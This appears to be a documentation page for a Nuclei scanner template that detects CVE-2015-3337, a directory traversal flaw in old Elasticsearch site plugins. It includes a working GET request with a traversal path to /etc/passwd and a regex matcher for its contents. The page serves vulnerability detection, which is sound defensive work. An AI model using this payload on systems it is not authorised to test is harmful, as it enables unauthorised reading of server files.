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Elasticsearch - Local File Inclusion

ID: CVE-2015-3337

Severity: medium

Author: pdteam

Tags: cve2015,cve,packetstorm,edb,elastic,lfi,elasticsearch,plugin

Description

Section titled “Description”

Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.

YAML Source

Section titled “YAML Source”
id: CVE-2015-3337


info:
  name: Elasticsearch - Local File Inclusion
  author: pdteam
  severity: medium
  description: Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Elasticsearch or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/37054/
    - https://www.elastic.co/community/security
    - http://www.debian.org/security/2015/dsa-3241
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3337
    - http://packetstormsecurity.com/files/131646/Elasticsearch-Directory-Traversal.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-3337
    cwe-id: CWE-22
    epss-score: 0.96187
    epss-percentile: 0.99512
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,packetstorm,edb,elastic,lfi,elasticsearch,plugin


http:
  - method: GET
    path:
      - "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-3337.yaml"

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